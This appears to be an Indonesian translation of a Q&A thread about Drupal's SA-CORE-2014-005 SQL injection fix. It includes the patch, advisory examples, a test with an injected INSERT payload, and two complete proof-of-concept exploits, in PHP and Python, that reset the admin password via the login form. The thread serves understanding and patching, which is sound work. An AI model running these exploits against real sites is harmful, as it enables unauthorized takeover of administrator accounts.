Jenis serangan apa yang dicegah oleh patch untuk SA-CORE-2014-005 (Drupal 7.32)?

33

Membaca di https://www.drupal.org/node/2357241 dan rincian teknis di https://www.drupal.org/SA-CORE-2014-005 , serta tambalan aktual yang sederhana:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Saya ingin tahu permintaan macam apa yang dapat dibuat yang memanfaatkan exploit ini?

Charlie Schliesser
sumber
Bisakah kita langsung membuat perubahan inti? database.incfile?
Hitesh
@hitesh Anda bisa menambal database.incdari tambalan di atas (atau dengan tangan, ini jelas merupakan perubahan kecil), tetapi saya juga merekomendasikan untuk menambal Drupal inti Anda secara keseluruhan.
Charlie Schliesser
1
Bagi mereka yang bertanya-tanya bukan apa permintaan akan mengeksploitasi bug, tetapi apa sebenarnya bug itu, saya telah memposting penjelasan kepada Programmers.SE .
RomanSt
Bahkan setelah memutakhirkan seseorang masih dapat menempatkan file .php di dalam situs saya. Saya sudah memeriksa menu_router juga - tidak ada yang mencurigakan. Saya sudah menjalankan audit situs dan drupalgetaddon juga
AgA

Jawaban:

18

Perusahaan yang menemukan bug memiliki beberapa contoh pada Advisory 01/2014: Drupal - pre Auth SQL Injection Vulnerability :

Ekstrak:

Fungsi ini mengasumsikan bahwa itu disebut dengan array yang tidak memiliki kunci. Contoh:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Yang menghasilkan Pernyataan SQL ini

SELECT * from users where name IN (:name_0, :name_1)

dengan parameter name_0 = user1dan name_1 = user2.

Masalah terjadi, jika array memiliki kunci, yang bukan bilangan bulat. Contoh:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

ini menghasilkan kueri SQL yang dapat dieksploitasi:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

dengan parameter: name_test = user2.

Karena Drupal menggunakan PDO, multi-kueri diizinkan. Jadi, Injeksi SQL ini dapat digunakan untuk menyisipkan data acak ke dalam basis data, membuang atau memodifikasi data yang ada atau menjatuhkan seluruh basis data.

Dengan kemungkinan untuk MEMASANG data sewenang-wenang ke dalam basis data penyerang dapat mengeksekusi kode PHP apa pun melalui fitur Drupal dengan panggilan balik.

Hans Rossel
sumber
Terima kasih telah berbagi, saya tidak dapat menemukan ini dari mencari di topik. The Problem occurs, if the array has keys, which are no integers- ini dan contoh kueri cukup membantu dalam memahami ini.
Charlie Schliesser
19

Apa yang terjadi dengan 7.32 Dengan memeriksa modul pengujian. Anda dapat melihat tes berikut ditambahkan ke 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Ini harus memberikan beberapa wawasan lebih lanjut tentang cara menyusun serangan.

Bukti Konsep Sejak lebih dari cukup waktu telah berlalu dan ada banyak PoC di alam bebas.

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Berikut adalah blog yang memiliki rincian yang baik: http://www.volexity.com/blog/?p=83

Api digital
sumber
POC itu tidak berfungsi ....
Kyle Browning
Bisakah Anda memposting POC di mana seorang hacker dapat mengganti $ data dengan array_values ​​($ data) di database.inc?
Hans Rossel
Saya dapat mengkonfirmasi ini berfungsi dengan situs Drilla vanilla. Sangat disayangkan ...
AyeshK
Seperti yang dikatakan @greggles, ini sedikit lebih awal, belum semua memo. Tolong jaga.
pal4life
Pertanyaan - apakah "? Q =" diperlukan untuk membuat serangan ini berfungsi? server saya kebetulan menjatuhkan permintaan dengan get argumen q (atau Q atau% -ekivalen yang disandikan). Hanya penasaran. Kami menambal beberapa saat yang lalu dan tidak melihat tanda-tanda intrusi atau apa pun, tapi saya ingin tahu apakah kami beruntung dengan menolak q = permintaan?
Kasapo
16

Para peneliti yang menemukan bug memiliki bukti konsep. Yang lain telah mengembangkan bukti konsep juga. Namun, mereka sengaja tidak mempostingnya untuk mengurangi kemungkinan bahwa hal itu akan dieksploitasi secara luas. Kita harus menghormati penelitian itu dan menahan diri dan tidak mengirim contoh di sini.

Setelah beberapa waktu berlalu dan situs ditingkatkan, maka akan sangat menarik, dari perspektif akademis, untuk meninjau kode serangan proof-of-concept. Sampai saat itu, itu adalah risiko yang tidak perlu dan rebut perhatian.

Kode dalam penasehat SektioinEins bukanlah contoh yang dikembangkan sepenuhnya tentang bagaimana mengeksploitasinya. Mereka merinci kelemahannya, tetapi tidak secara tepat mengidentifikasi bagaimana sebenarnya mengeksploitasi masalah tersebut.


Sekarang sudah beberapa minggu sejak masalah ini dirilis dan SektionEins telah memposting beberapa pembuktian konsep di blog mereka . Ini cukup menarik dibandingkan dengan banyak bukti-konsep lain yang telah dikembangkan sejak mereka meninggalkan sangat sedikit jejak aktivitas mereka (misalnya tidak ada dalam tabel menu_router).

greggles
sumber
4

Saya dapat mengonfirmasi, bahwa kerentanan ini akan berfungsi pada setiap Drupal 7.31 dan situs yang lebih rendah, tidak masalah modul mana yang aktif. Setiap bentuk drupal dapat digunakan untuk mengeksploitasi kerentanan ini.

Eksploitasi cukup sederhana, jadi PoC sudah keluar di alam liar. Saya dapat menyerang server sendiri dan mengubah kata sandi pengguna sebagai pengguna anonim di instalasi Drupal yang bersih, tetapi kemungkinannya tidak terbatas.

Bug ini diketahui hampir 1 tahun yang lalu via https://www.drupal.org/node/2146839 tetapi tidak seorang pun dari Tim Keamanan Inti Drupal merespons.

Pari
sumber
Itu tidak dilaporkan sebagai masalah keamanan, bukan?
Alfred Armstrong
Itu ditandai dengan "keamanan", prioritas "utama", status "perlu ditinjau", dan termasuk tambalan yang pada dasarnya mencapai apa yang dilakukan tambalan pada 7.32. Mungkin #di depan "keamanan" membatasi seseorang untuk tidak melihatnya, atau mungkin ada terlalu banyak masalah dalam antrian. Masih mengejutkan bahwa tidak ada yang menanggapinya.
Charlie Schliesser
3
Itu tidak dilaporkan sebagai masalah keamanan, jadi mungkin tim keamanan tidak melihatnya. Tapi ya, lelaki itu tidak yakin itu masalah keamanan, jadi mungkin itu sebabnya.
Berend de Boer
2
Dilaporkan sebagai "Permintaan fitur" bahkan bukan sebagai bug. Fitur-fitur baru tidak diterima dalam versi stabil dari inti Drupal sehingga normal tidak melihatnya. Masalah keamanan tidak boleh diposting secara publik, ada halaman yang jelas bagaimana melaporkan masalah keamanan Drupal ke Tim Keamanan: drupal.org/node/101494
Hans Rossel
4

Saya bertanya-tanya bagaimana ini bisa dieksploitasi dan berapa banyak waktu dan upaya yang diperlukan? Oleh karena itu saya memutuskan untuk menginstal versi Drupal 7 yang lebih lama di localhost saya dan merekayasa ulang bug ini. Apa yang saya temukan adalah bug mengejutkan yang memberi siapa pun dengan pengetahuan dasar tentang HTML / SQL akses penuh ke situs Drupal Anda.

Saya berhasil mengeksekusi injeksi SQL ke Drupal 7 menggunakan pengguna anonim dalam waktu kurang dari 30 menit untuk mencoba!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

CATATAN: Ini masih tidak memungkinkan Anda untuk masuk karena Drupal menggunakan SHA512 dengan garam sehingga tidak mungkin untuk benar-benar masuk. Sengaja saya tidak memasukkan kode di sini, tetapi jelas siapa pun yang memiliki sedikit pengetahuan Drupal akan tahu cara mengatasi ini dan membuat kueri yang akan memberi Anda akses penuh!

Ini membuka pertanyaan tentang seberapa aman Drupal dan siapa yang bertanggung jawab untuk hal seperti ini? Rupanya bug ini diketahui lebih dari setahun ( https://www.drupal.org/node/2146839 ), tetapi tidak ada yang tidak bereaksi pada Drupal.org. Sengaja atau sengaja? :)

tamerzg
sumber
1

Ini adalah perbaikan dari kerentanan injeksi SQL di mana pernyataan SQL berbahaya dimasukkan ke dalam bidang entri untuk dieksekusi dan yang dapat menyebabkan misalnya untuk melepaskan konten database. Perbaikan ini penting untuk diterapkan sesegera mungkin terutama karena kerentanan ini dapat dimanfaatkan oleh pengguna anonim.

Jika Anda tidak dapat segera memperbarui tim keamanan, Anda dapat menerapkan tambalan ini yang akan memberikan perlindungan yang sama hingga Anda dapat melakukan pemutakhiran penuh 1 . Juga tim keamanan telah menyiapkan beberapa FAQ terkait masalah ini. Menempatkan situs Anda dalam mode pemeliharaan tidak akan membantu dan harap bersihkan cache setelah menerapkan pembaruan atau pastikan Anda menggunakan 7.32.

Juga, Anda harus memeriksa apakah situs Anda belum disusupi. Ada beberapa situs yang sudah melaporkan masalah. Ini dia satu posting blog yang menyarankan bagaimana Anda dapat memeriksa Memperbarui ke Drupal 7.32 tidak cukup, situs Anda mungkin sudah diretas

Saya menerapkan perbaikan pada 15 Oktober dan situs saya telah melaporkan seseorang yang mencoba mengeksploitasi kerentanan

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
cayerdis
sumber